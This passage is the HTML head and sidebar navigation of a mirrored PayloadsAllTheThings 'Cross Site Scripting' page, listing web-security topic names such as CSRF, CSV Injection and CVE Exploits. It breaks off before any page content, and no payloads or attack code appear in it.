mirror of
https://github.com/weyne85/PayloadsAllTheThings.git
synced 2025-10-29 16:57:02 +00:00
8512 lines
416 KiB
HTML
8512 lines
416 KiB
HTML
|
||
<!doctype html>
|
||
<html lang="en" class="no-js">
|
||
<head>
|
||
|
||
<meta charset="utf-8">
|
||
<meta name="viewport" content="width=device-width,initial-scale=1">
|
||
|
||
<meta name="description" content="Payloads All The Things, a list of useful payloads and bypasses for Web Application Security">
|
||
|
||
|
||
|
||
<link rel="canonical" href="https://swisskyrepo.github.io/PayloadsAllTheThings/XSS%20Injection/">
|
||
|
||
|
||
<link rel="prev" href="../XSLT%20Injection/">
|
||
|
||
|
||
<link rel="next" href="XSS%20in%20Angular/">
|
||
|
||
|
||
<link rel="icon" href="../assets/images/favicon.png">
|
||
<meta name="generator" content="mkdocs-1.5.3, mkdocs-material-9.5.15">
|
||
|
||
|
||
|
||
<title>Cross Site Scripting - Payloads All The Things</title>
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="../assets/stylesheets/main.7e359304.min.css">
|
||
|
||
|
||
<link rel="stylesheet" href="../assets/stylesheets/palette.06af60db.min.css">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback">
|
||
<style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style>
|
||
|
||
|
||
|
||
<link rel="stylesheet" href="../custom.css">
|
||
|
||
<script>__md_scope=new URL("..",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
</head>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<body dir="ltr" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo">
|
||
|
||
|
||
<input class="md-toggle" data-md-toggle="drawer" type="checkbox" id="__drawer" autocomplete="off">
|
||
<input class="md-toggle" data-md-toggle="search" type="checkbox" id="__search" autocomplete="off">
|
||
<label class="md-overlay" for="__drawer"></label>
|
||
<div data-md-component="skip">
|
||
|
||
|
||
<a href="#cross-site-scripting" class="md-skip">
|
||
Skip to content
|
||
</a>
|
||
|
||
</div>
|
||
<div data-md-component="announce">
|
||
|
||
</div>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<header class="md-header md-header--shadow" data-md-component="header">
|
||
<nav class="md-header__inner md-grid" aria-label="Header">
|
||
<a href=".." title="Payloads All The Things" class="md-header__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
|
||
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z"/></svg>
|
||
|
||
</a>
|
||
<label class="md-header__button md-icon" for="__drawer">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z"/></svg>
|
||
</label>
|
||
<div class="md-header__title" data-md-component="header-title">
|
||
<div class="md-header__ellipsis">
|
||
<div class="md-header__topic">
|
||
<span class="md-ellipsis">
|
||
Payloads All The Things
|
||
</span>
|
||
</div>
|
||
<div class="md-header__topic" data-md-component="header-topic">
|
||
<span class="md-ellipsis">
|
||
|
||
Cross Site Scripting
|
||
|
||
</span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
<form class="md-header__option" data-md-component="palette">
|
||
|
||
|
||
|
||
|
||
<input class="md-option" data-md-color-media="(prefers-color-scheme: light)" data-md-color-scheme="default" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to dark mode" type="radio" name="__palette" id="__palette_0">
|
||
|
||
<label class="md-header__button md-icon" title="Switch to dark mode" for="__palette_1" hidden>
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a4 4 0 0 0-4 4 4 4 0 0 0 4 4 4 4 0 0 0 4-4 4 4 0 0 0-4-4m0 10a6 6 0 0 1-6-6 6 6 0 0 1 6-6 6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12 20 8.69Z"/></svg>
|
||
</label>
|
||
|
||
|
||
|
||
|
||
|
||
<input class="md-option" data-md-color-media="(prefers-color-scheme: dark)" data-md-color-scheme="slate" data-md-color-primary="indigo" data-md-color-accent="indigo" aria-label="Switch to light mode" type="radio" name="__palette" id="__palette_1">
|
||
|
||
<label class="md-header__button md-icon" title="Switch to light mode" for="__palette_0" hidden>
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 18c-.89 0-1.74-.2-2.5-.55C11.56 16.5 13 14.42 13 12c0-2.42-1.44-4.5-3.5-5.45C10.26 6.2 11.11 6 12 6a6 6 0 0 1 6 6 6 6 0 0 1-6 6m8-9.31V4h-4.69L12 .69 8.69 4H4v4.69L.69 12 4 15.31V20h4.69L12 23.31 15.31 20H20v-4.69L23.31 12 20 8.69Z"/></svg>
|
||
</label>
|
||
|
||
|
||
</form>
|
||
|
||
|
||
|
||
<script>var media,input,key,value,palette=__md_get("__palette");if(palette&&palette.color){"(prefers-color-scheme)"===palette.color.media&&(media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']"),palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent"));for([key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script>
|
||
|
||
|
||
|
||
<label class="md-header__button md-icon" for="__search">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z"/></svg>
|
||
</label>
|
||
<div class="md-search" data-md-component="search" role="dialog">
|
||
<label class="md-search__overlay" for="__search"></label>
|
||
<div class="md-search__inner" role="search">
|
||
<form class="md-search__form" name="search">
|
||
<input type="text" class="md-search__input" name="query" aria-label="Search" placeholder="Search" autocapitalize="off" autocorrect="off" autocomplete="off" spellcheck="false" data-md-component="search-query" required>
|
||
<label class="md-search__icon md-icon" for="__search">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z"/></svg>
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z"/></svg>
|
||
</label>
|
||
<nav class="md-search__options" aria-label="Search">
|
||
|
||
<button type="reset" class="md-search__icon md-icon" title="Clear" aria-label="Clear" tabindex="-1">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z"/></svg>
|
||
</button>
|
||
</nav>
|
||
|
||
</form>
|
||
<div class="md-search__output">
|
||
<div class="md-search__scrollwrap" data-md-scrollfix>
|
||
<div class="md-search-result" data-md-component="search-result">
|
||
<div class="md-search-result__meta">
|
||
Initializing search
|
||
</div>
|
||
<ol class="md-search-result__list" role="presentation"></ol>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
|
||
<div class="md-header__source">
|
||
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
|
||
<div class="md-source__icon md-icon">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.5.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"/></svg>
|
||
</div>
|
||
<div class="md-source__repository">
|
||
GitHub
|
||
</div>
|
||
</a>
|
||
</div>
|
||
|
||
</nav>
|
||
|
||
</header>
|
||
|
||
<div class="md-container" data-md-component="container">
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<main class="md-main" data-md-component="main">
|
||
<div class="md-main__inner md-grid">
|
||
|
||
|
||
|
||
<div class="md-sidebar md-sidebar--primary" data-md-component="sidebar" data-md-type="navigation" >
|
||
<div class="md-sidebar__scrollwrap">
|
||
<div class="md-sidebar__inner">
|
||
|
||
|
||
|
||
|
||
<nav class="md-nav md-nav--primary" aria-label="Navigation" data-md-level="0">
|
||
<label class="md-nav__title" for="__drawer">
|
||
<a href=".." title="Payloads All The Things" class="md-nav__button md-logo" aria-label="Payloads All The Things" data-md-component="logo">
|
||
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z"/></svg>
|
||
|
||
</a>
|
||
Payloads All The Things
|
||
</label>
|
||
|
||
<div class="md-nav__source">
|
||
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/" title="Go to repository" class="md-source" data-md-component="source">
|
||
<div class="md-source__icon md-icon">
|
||
|
||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!--! Font Awesome Free 6.5.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"/></svg>
|
||
</div>
|
||
<div class="md-source__repository">
|
||
GitHub
|
||
</div>
|
||
</a>
|
||
</div>
|
||
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href=".." class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Payloads All The Things
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CONTRIBUTING/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CONTRIBUTING
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_3" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_3" id="__nav_3_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
API Key Leaks
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_3_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_3">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
API Key Leaks
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../API%20Key%20Leaks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
API Key Leaks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
AWS Amazon Bucket S3
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_4">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
AWS Amazon Bucket S3
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../AWS%20Amazon%20Bucket%20S3/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Amazon Bucket S3 AWS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Account Takeover
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_5">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Account Takeover
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Account%20Takeover/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Account Takeover
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Argument Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_6">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Argument Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Argument%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Argument Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Business Logic Errors
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_7">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Business Logic Errors
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Business%20Logic%20Errors/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Business Logic Errors
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CICD
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_8">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CICD
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CICD/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CI/CD attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CORS Misconfiguration
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_9">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CORS Misconfiguration
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CORS%20Misconfiguration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CORS Misconfiguration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CRLF Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_10">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CRLF Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CRLF%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Carriage Return Line Feed
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CSRF Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_11">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CSRF Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CSRF%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cross-Site Request Forgery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CSV Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_12">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CSV Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CSV%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CSV Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
CVE Exploits
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_13">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
CVE Exploits
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../CVE%20Exploits/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Common Vulnerabilities and Exposures
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
